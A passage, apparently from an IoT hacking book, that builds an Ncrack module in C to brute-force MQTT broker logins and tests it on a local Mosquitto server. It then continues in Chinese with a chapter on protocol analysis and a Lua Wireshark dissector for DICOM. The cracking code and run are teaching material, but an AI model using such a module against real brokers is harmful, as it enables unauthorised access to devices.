Flags, and Keep Alive. * A *payload* with one or more length-prefixed fields; the presence of these fields is determined by the *Connect flags*—in our case, the Client Identifier, Username, and Password. To determine exactly how the MQTT *CONNECT* packet is structured, consult the official protocol specification at [`docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901033/`](https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901033/). For convenience, you can use Table 4-2, which we created. We also recommend looking up the same packet structure in the Wireshark traffic dump (for example, Figure 4-9). You’ll generally have some flexibility regarding how to map the packet fields in the C struct fields; our way of doing it is one among many. The `message_type` is a four-bit field that determines the packet type. The value `1` specifies the *CONNECT* packet. Note that we allocate eight bits (`uint8_t`) for this field to cover the four least significant bits reserved for this packet type (all `0`). The `msg_len` is the number of bytes remaining in the current packet, not including the bytes of the length field. It corresponds to the packet’s *Length* field. Next on the variable header, `prot_name_len` and `protocol` correspond to the fields *Protocol Name Length* and *Protocol Name*. This length should always be `4`, because the protocol name is always represented by the capitalized UTF-8 encoded string `“MQTT”`. The `version`, representing the *Protocol Level* field, has the value `0x04` for MQTT version 3.1.1, but later standards might use different values. The `flags`, representing the *Connect Flags* field, determine the behavior of the MQTT connection and the presence or absence of fields in the payload. We’ll initialize it with the value `0xC2` to set the three flags: `username`, `password`, and `clean session`. The `keep_alive`, representing the *Keep Alive* field, is a time interval in seconds that determines the maximum amount of time that can lapse between sending consecutive control packets. It’s not important in our case, but we’ll use the same value as the Mosquitto application does. Finally, the packet payload begins with the `client_id_length` and `client_id`. The *Client Identifier* must always be the first field in the *CONNECT* packet payload. It’s supposed to be unique for each client, so we’ll use `“Ncrack”` for our module. The remaining fields are the *Username Length* (`username_len`), *Username*, *Password Length*, and *Password*. Because we expect to be using different usernames and passwords for each connection (because we’re performing a dictionary attack), we’ll dynamically allocate the last three later in the code. We then use the struct constructor 1 to initialize these fields with values that we know will stay the same. Table 4-2: The MQTT *CONNECT* Packet Structure: Fixed Header, Variable Header, and Payload Separated by Bold Border  Our server will send the *CONNACK* packet in response to a *CONNECT* packet from a client. Listing 4-3 shows the structure of the *CONNACK* packet. ``` struct ack { uint8_t message_type; uint8_t msg_len; uint8_t flags; uint8_t ret_code; } __attribute__((__packed__)) ack; ``` Listing 4-3: Structure for manipulating the *CONNACK* packet The `message_type` and `msg_len` comprise the standard fixed header of an MQTT control packet, similar to the *CONNECT* packet’s header. MQTT sets the `message_type` value for the *CONNACK* packet to `2`. The `flags` are normally all `0` for this type of packet. You can see this in Figure 4-10 and Figure 4-11, also. The `ret_code` is the most important field because, depending on its value, we can determine whether or not our credentials were accepted. A return code of 0x00 signifies an accepted connection, while a return code of 0x05 indicates that the connection isn’t authorized (as we saw in Figure 4-10) because either no credentials were provided or they were incorrect. Although there are other return values, to keep our module simple, we’ll assume that any value other than 0x00 means we must try different credentials. The struct’s `packed` attribute is a directive to the C compiler to not add any padding in between the fields (which it usually does automatically to optimize memory access), so everything is kept intact. We did the same for the `connect_cmd` struct. This is good practice for structs used in networking. Next, we define a function called `mqtt_loop_read` to parse the *CONNACK* packet, as Listing 4-4 shows. ``` static int mqtt_loop_read(nsock_pool nsp, Connection *con) { struct ack *p; 1 if (con->inbuf == NULL || con->inbuf->get_len() < 4) { nsock_read(nsp, con->niod, ncrack_read_handler, MQTT_TIMEOUT, con); return -1; } p = (struct ack *)((char *)con->inbuf->get_dataptr()); 2 if (p->message_type != 0x20) /* reject if not an MQTT ACK message */ return -2; if (p->ret_code == 0) /* return 0 only if return code is 0 */ 3 return 0; return -2; } ``` Listing 4-4: Definition of the `mqtt_loop_read` function, which is responsible for parsing *CONNACK* packets and checking the return code We first declare a local pointer `p` 1 to a struct of type `ack`. We then check whether we’ve received any data in our incoming buffer (is the `con->inbuf` pointer `NULL`?) or whether the received data’s length is less than 4, which is the minimum size for the expected server’s reply. If either of these conditions is true, we need to keep waiting for incoming data, so we schedule an `nsock_read` event that will be handled by our standard `ncrack_read_handler`. How these functions work internally is beyond the scope of this book, but it’s important to understand the asynchronous nature of this method. The point is that these functions will do their jobs after the module returns control to the main Ncrack engine, which will happen after the function `ncrack_mqtt` ends execution. To know where the module left off for each TCP connection when it’s next called, Ncrack keeps the current state in the `con->state` variable. Additional information is also kept in other members of the `Connection` class, such as the buffers for incoming (`inbuf`) and outgoing (`outbuf`) data. Once we know we’ve received a complete *CONNACK* reply, we can point our local `p` pointer to the buffer 2 meant for incoming network data. We cast that buffer to the `struct ack` pointer. In simple terms, this means that we can now use the `p` pointer to easily browse through the members of the struct. Then the first thing we check in the received packet is whether or not it’s a *CONNACK* packet; if it’s not, we shouldn’t bother parsing it any further. If it is, we check whether the return code is 0 3, in which case we return a 0 to notify the caller that the credentials were correct. Otherwise, an error occurred or the credentials were incorrect, and we return a -2\. The final part of our code is the main `ncrack_mqtt` function that handles all the logic for authenticating against an MQTT server. It’s divided into two listings: Listing 4-5 contains the logic for the `MQTT_INIT` state, and Listing 4-6 contains the logic for the `MQTT_FINI` state. ``` void ncrack_mqtt(nsock_pool nsp, Connection *con) { nsock_iod nsi = con->niod; 1 struct connect_cmd cmd; uint16_t pass_len; switch (con->state) 2 { case MQTT_INIT: con->state = MQTT_FINI; delete con->inbuf; 3 con->inbuf = NULL; if (con->outbuf) delete con->outbuf; con->outbuf = new Buf(); /* the message len is the size of the struct plus the length of the usernames * and password minus 2 for the first 2 bytes (message type and message length) that * are not counted in */ cmd.msg_len = sizeof(connect_cmd) + strlen(con->user) + strlen(con->pass) + sizeof(pass_len) - 2; 4 cmd.username_len = htons(strlen(con->user)); pass_len = htons(strlen(con->pass)); con->outbuf->append(&cmd, sizeof(cmd)); 5 con->outbuf->snprintf(strlen(con->user), "%s", con->user); con->outbuf->append(&pass_len, sizeof(pass_len)); con->outbuf->snprintf(strlen(con->pass), "%s", con->pass); nsock_write(nsp, nsi, ncrack_write_handler, MQTT_TIMEOUT, con, 6 (const char *)con->outbuf->get_dataptr(), con->outbuf->get_len()); break; ``` Listing 4-5: The `MQTT_INIT` state that sends the *CONNECT* packet The first block of code in our main function declares three local variables 1. Nsock uses the `nsock_iod` variable whenever we register network read and write events through `nsock_read` and `nsock_write` correspondingly. The struct `cmd`, which we defined in Listing 4-2, handles the incoming *CONNECT* packet. Note that its constructor is automatically called when we declare it, so it’s initialized with the default values we gave each field. We’ll use `pass_len` to temporarily store the password length’s two-byte value. Every Ncrack module has a `switch` statement 2 in which each case represents a specific step of the authentication phase for the particular protocol we’re cracking. MQTT authentication only has two states: we start with `MQTT_INIT`, and then set the next state to be `MQTT_FINI`. This means that when we end the execution of this phase and return control to the main Ncrack engine, the switch statement will continue from the next state, `MQTT_FINI` (shown in 4-6), when the module gets executed again for this particular TCP connection. We then make sure our buffers for receiving (`con->inbuf`) and sending (`con->outbuf`) network data are clear and empty 3. Next, we update the remaining length field in our `cmd` struct 4. Remember that this is calculated as the remaining length of the *CONNECT* packet, not including the length field. We must take into account the size of the extra three fields (username, password length, and password) that we’re adding at the end of our packet, because we didn’t include those in our `cmd` struct. We also update the username length field with the actual size of the current username. Ncrack automatically iterates through the dictionary and updates the username and password in the `user` and `pass` variables of the `Connection` class accordingly. We also calculate the password length and store it in `pass_len`. Next, we start crafting our outgoing CONNECT packet by first adding our updated `cmd` struct to the `outbuf` 5 and then dynamically adding the extra three fields. The `Buffer` class (`inbuf`, `outbuf`) has its own convenient functions, such as `append` and `snprintf`, with which you can easily and gradually add formatted data to craft your own TCP payloads. Additionally, we schedule our packet in `outbuf` to be sent to the network by registering a network write event through `nsock_write`, handled by `ncrack_write_handler`6. Then we end the switch statement and the `ncrack_mqtt` function (for now) and return execution control to the main engine, which among other tasks will loop through any registered network events (like the one we just scheduled above with the use of the `ncrack_mqtt` function) and handle them. The next state, `MQTT_FINI`, receives and parses the incoming CONNACK packet from the broker and checks whether our provided credentials were correct. Listing 4-6 shows the code, which goes in the same function definition as Listing 4-5. ``` case MQTT_FINI: if (mqtt_loop_read(nsp, con) == -1) 1 break; else if (mqtt_loop_read(nsp, con) == 0) 2 con->auth_success = true; con->state = MQTT_INIT; 3 delete con->inbuf; con->inbuf = NULL; return ncrack_module_end(nsp, con); 4 } } ``` Listing 4-6: The `MQTT_FINI` state that receives the incoming *CONNACK* packet and evaluates if the username and password combination we sent were correct or not We start by asking `mqtt_loop_read` whether we’ve received the server’s reply yet 1. Recall from Listing 4-4 that it will return -1 if we haven’t yet gotten all four bytes of the incoming packet. If we haven’t yet received the complete reply of the server, `mqtt_loop_read` will register a read event, and we’ll return control to the main engine to wait for those data or handle other events registered from other connections (of the same or other modules that might be running). If `mqtt_loop_read` returns 0 2, it means that the current username and password successfully authenticated against our target and we should update the Connection variable `auth_success` so Ncrack marks the current credential pair as valid. We then update the internal state to go back to `MQTT_INIT`3, because we have to loop through the rest of the credentials in the current dictionary. At this point, because we’ve completed a full authentication attempt, we call `ncrack_module_end`4, which will update some statistical variables (such as the number of times we’ve attempted to authenticate so far) for the service. The concatenation of all six listings makes up the whole MQTT module file *ncrack_mqtt.cc*. The GitHub commit at [`github.com/nmap/ncrack/blob/accdba084e757aef51dbb11753e9c36ffae122f3/modules/ncrack_mqtt.cc/`](https://github.com/nmap/ncrack/blob/accdba084e757aef51dbb11753e9c36ffae122f3/modules/ncrack_mqtt.cc/) provides the file we coded in its entirety. After finishing with the code, we enter `make` in the main *Ncrack* directory to compile our new module. ### Testing the Ncrack Module Against MQTT Let’s test our new module against the Mosquitto broker to see how fast we can find a correct username and password pair. We can do that by running the module against our local Mosquitto instance: ``` root@kali:~/ncrack#**./ncrack mqtt://127.0.0.1 --user test -v** Starting Ncrack 0.7 ( http://ncrack.org ) at 2019-10-31 01:15 CDT Discovered credentials on mqtt://127.0.0.1:1883 'test' 'test123' mqtt://127.0.0.1:1883 finished. Discovered credentials for mqtt on 127.0.0.1 1883/tcp: 127.0.0.1 1883/tcp mqtt: 'test' 'test123' Ncrack done: 1 service scanned in 3.00 seconds. Probes sent: 5000 | timed-out: 0 | prematurely-closed: 0 Ncrack finished. ``` We tested against only the username `test` and the default password list (found under *lists/default.pwd*) in which we manually added the *test123* password at the end of the file. Ncrack successfully cracked the MQTT service in three seconds after trying 5,000 credential combinations. ## Conclusion In this chapter, we performed VLAN hopping, network reconnaissance, and authentication cracking. We first abused VLAN protocols and identified unknown services in IoT networks. Then we introduced you to MQTT and cracked MQTT authentication. By now, you should be familiar with how to traverse VLANs, take advantage of Ncrack’s password cracking capabilities, and use Nmap’s powerful service detection engine. ````
第五章:分析网络协议

协议分析对于任务如指纹识别、信息获取甚至漏洞利用都至关重要。但在物联网领域,你经常需要处理专有的、定制的或新的网络协议。这些协议可能会很具挑战性,因为即使你能够捕获到网络流量,像 Wireshark 这样的数据包分析工具往往无法识别你所发现的内容。有时,你可能需要编写新工具来与物联网设备进行通信。
本章中,我们解释了分析网络通信的过程,特别关注处理不常见协议时你将面临的挑战。我们首先介绍了一种执行陌生网络协议安全评估和实现自定义工具进行分析的方法。接下来,我们通过编写自己的协议解析器扩展了最流行的流量分析器 Wireshark。然后,我们为 Nmap 编写了自定义模块,以指纹识别甚至攻击任何敢于与你的道路相交的新网络协议。
本章中的示例以 DICOM 协议为目标,这是医疗设备和临床系统中最常见的协议之一,而不是一种不常见的协议。尽管如此,几乎没有安全工具支持 DICOM 协议,因此本章将帮助你处理将来可能遇到的任何不常见网络协议。
检查网络协议
当你处理不常见的协议时,最好根据一种方法论来分析它们。按照本节中描述的过程评估网络协议的安全性。我们尝试涵盖最重要的任务,包括信息收集、分析、原型制作和安全审计。
信息收集
在信息收集阶段,你将尽力找到所有可用的相关资源。但首先,查明该协议是否有良好的文档记录,方法是搜索该协议的官方和非官方文档。
枚举和安装客户端
一旦你获得了文档,找到所有能够与该协议通信的客户端并安装它们。你可以使用这些客户端随意复制和生成流量。不同的客户端可能会对协议进行一些小的变动,因此请注意这些差异!此外,检查是否有程序员用不同的编程语言编写了实现。你找到的客户端和实现越多,找到更好文档和复制网络消息的机会就越大。
发现依赖的协议
接下来,弄清楚该协议是否依赖于其他协议。例如,服务器消息块(SMB)协议通常与 TCP/IP 上的 NetBios(NBT)一起工作。如果你正在编写新工具,你需要了解协议的依赖关系,以便读取和理解消息,以及创建和发送新消息。确保弄清楚你的协议使用的是哪种传输协议。是 TCP 还是 UDP?还是其他协议:也许是 SCTP?
确定协议的端口
找出协议的默认端口号以及协议是否会在其他端口上运行。识别默认端口及其是否可以更改是编写扫描器或信息收集工具时的有用信息。例如,如果我们编写了不准确的执行规则,Nmap 侦察脚本可能无法运行,而 Wireshark 可能无法使用正确的解码器。虽然这些问题有解决方法,但最好从一开始就拥有健全的执行规则。
查找额外的文档
请访问 Wireshark 网站查找额外的文档或捕获样本。Wireshark 项目通常包括数据包捕获,是一个极好的信息来源。该项目使用维基(gitlab.com/wireshark/wireshark/-/wikis/home/)允许贡献者向每个页面添加新信息。
另外,注意哪些区域缺乏文档。您能否识别出描述不充分的功能?文档缺失可能会指向有趣的发现。
测试 Wireshark 解码器
测试所有 Wireshark 解码器是否能正确地处理所使用的协议。Wireshark 能否正确地解析并读取协议消息中的所有字段?
为此,首先检查 Wireshark 是否有该协议的解码器,并且是否已启用。您可以通过点击分析▶启用协议来检查,如图 5-1 所示。

图 5-1:Wireshark 中的启用协议窗口
如果协议规范是公开的,检查所有字段是否正确定义。尤其是对于复杂的协议,解码器常常会有错误。如果发现任何错误,请特别留意它们。为了获得更多想法,可以查看分配给 Wireshark 解码器的常见漏洞与暴露(CVE)列表。
分析
在分析阶段,生成并重放流量,以了解协议的工作原理。目标是清楚地了解协议的整体结构,包括其传输层、消息和可用操作。
获取网络流量副本
根据设备类型,有不同的方法来获取您需要分析的网络流量。有些设备可能直接支持代理配置!确定您是否需要进行主动或被动的网络流量嗅探。(您可以在 James Forshaw 的《攻击网络协议》[No Starch Press, 2018]中找到几个关于如何做的示例。)尽量为每个可用的使用场景生成流量,并尽可能多地生成流量。拥有不同的客户端有助于您了解现有实现中的差异和独特之处。
分析阶段的第一步应该是查看流量捕获并检查发送和接收的数据包。可能会出现一些显而易见的问题,因此在进行主动分析之前,进行此步骤是非常有用的。网站 gitlab.com/wireshark/wireshark/-/wikis/SampleCaptures/ 是寻找公共捕获的一个优秀资源。
使用 Wireshark 分析网络流量
如果 Wireshark 有一个可以解析你生成的流量的解析器,通过在“已启用协议”窗口中勾选其名称旁的复选框来启用它,如图 5-2 所示。

图 5-2:Wireshark 中“已启用协议”窗口中的禁用协议解析器
现在,尝试查找以下内容:
-
消息中的前几个字节。 有时,初始连接握手或消息中的前几个字节是魔术字节,可以快速识别服务。
-
初始连接握手。 这是任何协议的一个重要功能。通常在这一步,你可以了解协议的版本和支持的特性,包括加密等安全特性。复制此步骤还将帮助你开发扫描器,轻松地在网络上找到这些设备和服务。
-
协议中使用的任何 TCP/UDP 流和常见数据结构。 有时,你会识别出明文字符串,或常见的数据结构,比如将长度附加到消息开头的数据包。
-
协议的字节序。 一些协议使用混合字节序,如果没有提前识别,可能会导致问题。字节序在不同协议中差异很大,但它对于创建正确的数据包是必需的。
-
消息的结构。 确定不同的头部和消息结构,以及如何初始化和关闭连接。
原型设计与工具开发
在分析完协议后,你可以开始 原型设计,或者将你从分析中收集到的笔记转化为实际的软件,以便用该协议与服务进行通信。原型将确认你是否正确理解了每种消息类型的数据包结构。在这个阶段,选择一种能够快速开发的编程语言非常重要。因此,我们倾向于使用动态类型脚本语言,如 Lua 或 Python。检查是否有可用的库和框架可以帮助加速开发。
如果 Wireshark 不支持该协议,可以开发一个解析器来帮助分析。我们将在本章稍后的“为 DICOM 协议开发 Lua Wireshark 解析器”一节中讨论这一过程。我们还将使用 Lua 来原型化 Nmap 脚本引擎模块,以与该服务进行通信。
执行安全评估
一旦你完成了分析,确认了关于协议的假设,并创建了一个与 DICOM 服务通信的工作原型,你需要评估协议的安全性。除了第三章中描述的一般安全评估过程外,还要检查以下关键点:
-
测试服务器和客户端伪装攻击。 理想情况下,客户端和服务器应该相互验证,这是一个称为互相认证的过程。如果没有认证,可能会伪装成客户端或服务器。这种行为可能会产生严重后果;例如,我们曾经进行过一次客户端伪装攻击,伪装成一个药品库组件,并向药品输注泵注入恶意药品库。尽管两个端点通过传输层安全(TLS)通信,但这无法防止攻击,因为没有进行互认证。
-
模糊测试协议并检查洪水攻击。 同时,尝试复制崩溃并识别漏洞。模糊测试是自动向系统提供格式错误的输入,最终目标是发现实现中的缺陷。大多数情况下,这会导致系统崩溃。协议越复杂,发现内存损坏漏洞的可能性越大。DICOM(本章稍后分析)就是一个完美的例子。由于其复杂性,有可能在不同的实现中发现缓冲区溢出和其他安全问题。在洪水攻击中,攻击者向系统发送大量请求,以耗尽系统资源,导致系统无法响应。典型的例子是 TCP SYN 洪水攻击,你可以通过 SYN cookies 来缓解该攻击。
-
检查加密和签名。 数据是否保密?我们能否保证数据完整性?所使用的加密算法有多强大?我们曾见过一些供应商实现了自定义的加密算法,结果总是灾难性的。此外,许多网络协议并不要求任何数字签名,而数字签名可以提供消息认证、数据完整性和不可否认性。例如,DICOM 除非在安全协议(如传输层安全性 TLS)上使用,否则不会使用数字签名,而这也容易受到中间人攻击。
-
测试降级攻击。 这些是针对协议的加密攻击,迫使系统使用质量较低、更不安全的操作模式(例如,发送明文数据)。例如,传输层安全协议/安全套接层(TLS/SSL)上的填充 Oracle 降级遗留加密(POODLE)攻击。在这种攻击中,中间人攻击者强迫客户端回退到 SSL 3.0,并利用设计缺陷窃取 cookies 或密码。
-
测试放大攻击。 当协议具有响应比请求大得多的功能时,就会发生这种攻击,因为攻击者可以滥用这些功能造成服务拒绝攻击。一个例子是 mDNS 反射 DDoS 攻击,在这种攻击中,一些 mDNS 实现响应来自本地链路网络外部源的单播查询。我们将在第六章探讨 mDNS。
为 DICOM 协议开发 Lua Wireshark 解码器
本节向你展示如何编写一个可以与 Wireshark 一起使用的解码器。在审计物联网设备使用的网络协议时,理解通信方式、消息的构成以及涉及的功能、操作和安全机制至关重要。然后,我们可以开始修改数据流以寻找漏洞。为了编写解码器,我们将使用 Lua;它允许我们通过少量代码快速分析捕获的网络通信。通过贡献几行代码,我们将从查看信息块到查看可读的消息。
在这个练习中,我们将只关注处理 DICOM A 类型消息所需的函数子集(将在下一节讨论)。另一个需要注意的细节是,当使用 Lua 编写 Wireshark 解码器处理 TCP 时,数据包可能会被分段。此外,考虑到数据包重传、乱序错误或 Wireshark 配置限制了数据包大小(默认捕获数据包大小限制为 262,144 字节),我们可能会在一个 TCP 段中得到比一个消息更多或更少的数据。现在我们暂时忽略这个问题,专注于 A-ASSOCIATE 请求,当我们编写扫描器时,这足以识别 DICOM 服务。如果你想了解如何处理 TCP 分段,请查看本书材料中分发的完整示例文件 orthanc.lua,或者访问 nostarch.com/practical-iot-hacking/。
使用 Lua
Lua 是一种脚本语言,用于在许多重要的安全项目中创建可扩展或可脚本化的模块,例如 Nmap、Wireshark 以及像 LogRhythm 的 NetMon 这样的商业安全产品。你每天使用的一些产品可能就在运行 Lua。许多物联网设备也使用 Lua,因为它具有小巧的二进制文件和良好的 API 文档,使其易于与 C、C++、Erlang,甚至 Java 等其他语言一起使用,扩展项目。这使得 Lua 非常适合嵌入到应用程序中。你将学习如何在 Lua 中表示和处理数据,以及 Wireshark 和 Nmap 等流行软件如何使用 Lua 扩展其流量分析、网络发现和利用功能。
理解 DICOM 协议
DICOM 是由美国放射学会和国家电气制造商协会开发的非专有协议。它已成为传输、存储和处理医学影像信息的国际标准。尽管 DICOM 不是专有的,但它是许多医疗设备中实现的网络协议的一个典型例子,而传统的网络安全工具对其支持并不好。DICOM 通过 TCP/IP 进行的通信是双向的:客户端请求一个操作,服务器执行它,但如果需要,它们可以交换角色。在 DICOM 术语中,客户端称为服务调用用户(SCU),服务器称为服务调用提供者(SCP)。
在编写任何代码之前,让我们先检查一些重要的 DICOM 消息和协议结构。
C-ECHO 消息
DICOM C-ECHO消息交换关于调用和被调用应用程序、实体、版本、UID、名称和角色等信息。我们通常称它们为 DICOM ping,因为它们用于确定 DICOM 服务提供者是否在线。C-ECHO 消息使用多个A 类型消息,所以我们将在本节中寻找这些消息。C-ECHO 操作发送的第一个包是A-ASSOCIATE 请求消息,它足以识别一个 DICOM 服务提供者。从 A-ASSOCIATE 响应中,你可以获得关于该服务的信息。
A 类型协议数据单元(PDU)
在 C-ECHO 消息中使用了七种 A 类型消息:
-
A-ASSOCIATE 请求(A-ASSOCIATE-RQ): 客户端发送的请求,用于建立 DICOM 连接
-
A-ASSOCIATE 接受(A-ASSOCIATE-AC): 服务器发送的响应,用于接受 DICOM A-ASSOCIATE 请求
-
A-ASSOCIATE 拒绝(A-ASSOCIATE-RJ): 服务器发送的响应,用于拒绝 DICOM A-ASSOCIATE 请求
-
(P-DATA-TF): 服务器和客户端发送的数据包
-
A-RELEASE 请求(A-RELEASE-RQ): 客户端发送的请求,用于关闭 DICOM 连接
-
A-RELEASE 响应(A-RELEASE-RP PDU): 服务器发送的响应,用于确认 A-RELEASE 请求
-
A-ASSOCIATE 中止(A-ABORT PDU): 服务器发送的响应,用于取消 A-ASSOCIATE 操作
这些 PDU 都以类似的包结构开始。第一部分是一个字节的无符号整数(Big Endian),表示 PDU 类型。第二部分是一个字节的保留区域,设置为 0x0。第三部分是 PDU 长度信息,一个四字节的无符号整数(Little Endian)。第四部分是一个可变长度的数据字段。图 5-3 展示了这个结构。

图 5-3:DICOM PDU 的结构
一旦我们了解了消息结构,就可以开始读取和解析 DICOM 消息。通过每个字段的大小,我们可以计算偏移量,在定义原型字段时用于分析和与 DICOM 服务进行通信。
生成 DICOM 流量
为了跟随这个练习,你需要设置一个 DICOM 服务器和客户端。Orthanc 是一个强大且开源的 DICOM 服务器,支持 Windows、Linux 和 macOS。将其安装到你的系统上,确保配置文件中启用了 DicomServerEnabled 标志,并运行 Orthanc 可执行文件。如果一切顺利,你应该会在 TCP 端口 4242(默认端口)上启动 DICOM 服务器。输入 orthanc 命令,可以看到以下描述配置选项的日志:
$ **./Orthanc**
<timestamp> main.cpp:1305] Orthanc version: 1.4.2
<timestamp> OrthancInitialization.cpp:216] Using the default Orthanc configuration
<timestamp> OrthancInitialization.cpp:1050] SQLite index directory: "XXX"
<timestamp> OrthancInitialization.cpp:1120] Storage directory: "XXX"
<timestamp> HttpClient.cpp:739] HTTPS will use the CA certificates from this file: ./orthancAndPluginsOSX.stable
<timestamp> LuaContext.cpp:103] Lua says: Lua toolbox installed
<timestamp> LuaContext.cpp:103] Lua says: Lua toolbox installed
<timestamp> ServerContext.cpp:299] Disk compression is disabled
<timestamp> ServerIndex.cpp:1449] No limit on the number of stored patients
<timestamp> ServerIndex.cpp:1466] No limit on the size of the storage area
<timestamp> ServerContext.cpp:164] Reloading the jobs from the last execution of Orthanc
<timestamp> JobsEngine.cpp:281] The jobs engine has started with 2 threads
<timestamp> main.cpp:848] DICOM server listening with AET ORTHANC on port: 4242
<timestamp> MongooseServer.cpp:1088] HTTP compression is enabled
<timestamp> MongooseServer.cpp:1002] HTTP server listening on port: 8042 (HTTPS encryption is disabled, remote access is not allowed)
<timestamp> main.cpp:667] Orthanc has started
如果你不想安装 Orthanc 来进行本教程,你可以在本书的在线资源或 Wireshark DICOM 数据包示例页面中找到示例数据包捕获文件。
在 Wireshark 中启用 Lua
在开始编写代码之前,确保你已经安装了 Lua 并在 Wireshark 安装中启用了它。你可以在“关于 Wireshark”窗口中检查它是否可用,如图 5-4 所示。

图 5-4:关于 Wireshark 窗口显示 Lua 已被支持
Lua 引擎默认是禁用的。要启用它,需要在 Wireshark 安装目录下的 init.lua 文件中将布尔变量 disable_lua 设置为 false:
disable_lua = false
在检查并启用 Lua 后,再次通过编写测试脚本并运行它来确认 Lua 支持是否正常工作,运行方式如下:
$ **tshark -X lua_script:<your Lua test script>**
如果我们在测试文件中包括一个简单的打印语句(例如 print "Hello from Lua"),我们应该会在捕获开始前看到输出。
$ **tshark -X lua_script:test.lua**
Hello from Lua
Capturing on 'ens33'
在 Windows 上,如果使用常规的打印语句,可能不会看到输出。但 report_failure() 函数会打开一个窗口,显示你的消息,因此这是一个不错的替代方案。
定义解码器
让我们使用 Proto(name, description) 函数定义新的协议解码器。如前所述,这个解码器将专门识别 DICOM A 型消息(前面列出的七种消息之一):
dicom_protocol = Proto("dicom-a", "DICOM A-Type message")
接下来,我们定义 Wireshark 中的头字段,以匹配前面讨论的 DICOM PDU 结构,借助 ProtoField 类:
1 pdu_type = ProtoField.uint8("dicom-a.pdu_type","pduType",base.DEC, {[1]="ASSOC Request",
[2]="ASSOC Accept",
[3]="ASSOC Reject",
[4]="Data",
[5]="RELEASE Request",
[6]="RELEASE Response",
[7]="ABORT"}) -- unsigned 8-bit integer
2 message_length = ProtoField.uint16("dicom-a.message_length", "messageLength", base.DEC) -- unsigned 16-bit integer
3 dicom_protocol.fields = {pdu_type, message_length}
我们使用这些 ProtoFields 将项目添加到解码树中。对于我们的解码器,我们会调用两次 ProtoField:第一次创建一个用于存储 PDU 类型 1 的单字节无符号整数,第二次创建一个用于存储消息长度 2 的两字节数据。注意我们为 PDU 类型分配了一个值表。Wireshark 将自动显示这些信息。然后,我们将协议解码器字段 3 设置为包含我们 ProtoFields 的 Lua 表。
定义主协议解码器函数
接下来,我们声明主协议解码器函数dissector(),它有三个参数:Wireshark 用来解码的缓冲区、数据包信息和显示协议信息的树形结构。
在这个 dissector() 函数中,我们将解码我们的协议,并将之前定义的 ProtoFields 添加到包含协议信息的树形结构中。
function dicom_protocol.dissector(buffer, pinfo, tree)
1 pinfo.cols.protocol = dicom_protocol.name
local subtree = tree:add(dicom_protocol, buffer(), "DICOM PDU")
subtree:add_le(pdu_type, buffer(0,1)) -- big endian
subtree:add(message_length, buffer(2,4)) -- skip 1 byte
end
我们将 protocol 字段设置为我们在 dicom_protocol.name 中定义的协议名称 1。对于我们要添加的每一项,我们使用 add_le() 来处理大端数据,或者使用 add() 来处理小端数据,并配合 ProtoField 和要解码的缓冲区范围。
完善解码器
DissectorTable 保存协议的子解码器表,通过 Wireshark 的 Decode 对话框显示。
local tcp_port = DissectorTable.get("tcp.port")
tcp_port:add(4242, dicom_protocol)
要完成解码器,我们只需要将我们的解码器添加到 TCP 端口的 DissectorTable 中,端口号为 4242\。
列表 5-1 显示了解码器的完整代码。
dicom_protocol = Proto("dicom-a", "DICOM A-Type message")
pdu_type = ProtoField.uint8("dicom-a.pdu_type", "pduType", base.DEC, {[1]="ASSOC Request", [2]="ASSOC Accept", [3]=”ASSOC Reject”, [4]=”Data”, [5]=”RELEASE Request”, [6]=”RELEASE Response”, [7]=”ABORT”})
message_length = ProtoField.uint16("dicom-a.message_length", "messageLength", base.DEC)
dicom_protocol.fields = {message_length, pdu_type} 1
function dicom_protocol.dissector(buffer, pinfo, tree)
pinfo.cols.protocol = dicom_protocol.name
local subtree = tree:add(dicom_protocol, buffer(), "DICOM PDU")
subtree:add_le(pdu_type, buffer(0,1))
subtree:add(message_length, buffer(2,4))
end
local tcp_port = DissectorTable.get("tcp.port")
tcp_port:add(4242, dicom_protocol)
列表 5-1:完成的 DICOM A 类型消息解码器
我们通过将 .lua 文件放入 Wireshark 的插件目录中并重新加载 Wireshark 来启用这个解码器。然后,当我们分析 DICOM 捕获时,我们应该看到在我们定义的 tree:add() 调用下,DICOM PDU 列中显示 pduType 字节和消息长度。图 5-5 展示了在 Wireshark 中的显示。你也可以使用我们定义的 dicom-a.message_length 和 dicom-a.pdu_type 过滤器 1 来过滤流量。

图 5-5:Wireshark 中 Lua 编写的 DICOM A 类型消息解码器
现在我们可以清楚地识别 DICOM 包中的 PDU 类型和消息长度。
构建 C-ECHO 请求解码器
当我们用新的解码器分析 C-ECHO 请求时,我们应该看到它由不同的 A 类型消息组成,如 图 5-5 所示。下一步是分析这些 DICOM 包中包含的数据。
为了展示我们如何在 Lua 解码器中处理字符串,让我们添加一些代码到解码器中,以解析 A-ASSOCIATE 消息。图 5-6 显示了 A-ASSOCIATE 请求的结构。

图 5-6:A-ASSOCIATE 请求的结构
注意到被叫和叫叫应用实体标题的 16 字节长度。应用实体标题 是标识服务提供者的标签。该消息还包括一个 32 字节长的保留部分,应该设置为 0x0,并且包含可变长度的项目,包括一个应用上下文项目、展示上下文项目和用户信息项目。
提取应用实体标题的字符串值
我们从提取消息的固定长度字段开始,包括叫叫和被叫应用实体标题的字符串值。这是有用的信息;通常,服务缺乏身份验证,因此,如果你有正确的应用实体标题,就可以连接并开始发出 DICOM 命令。我们可以通过以下代码为我们的 A-ASSOCIATE 请求消息定义新的 ProtoField 对象:
protocol_version = ProtoField.uint8("dicom-a.protocol_version", "protocolVersion", base.DEC)
calling_application = ProtoField.string(1 "dicom-a.calling_app", 2 "callingApplication")
called_application = ProtoField.string("dicom-a.called_app", "calledApplication")
为了提取被叫和叫叫应用实体标题的字符串值,我们使用 ProtoField 的 ProtoField.string 函数。我们传递给它一个用于过滤器 1 的名称、一个可选的名称用于在树形结构中显示 2、显示格式(`base.ASCII` 或 `base.UNICODE`),以及一个可选的描述字段.
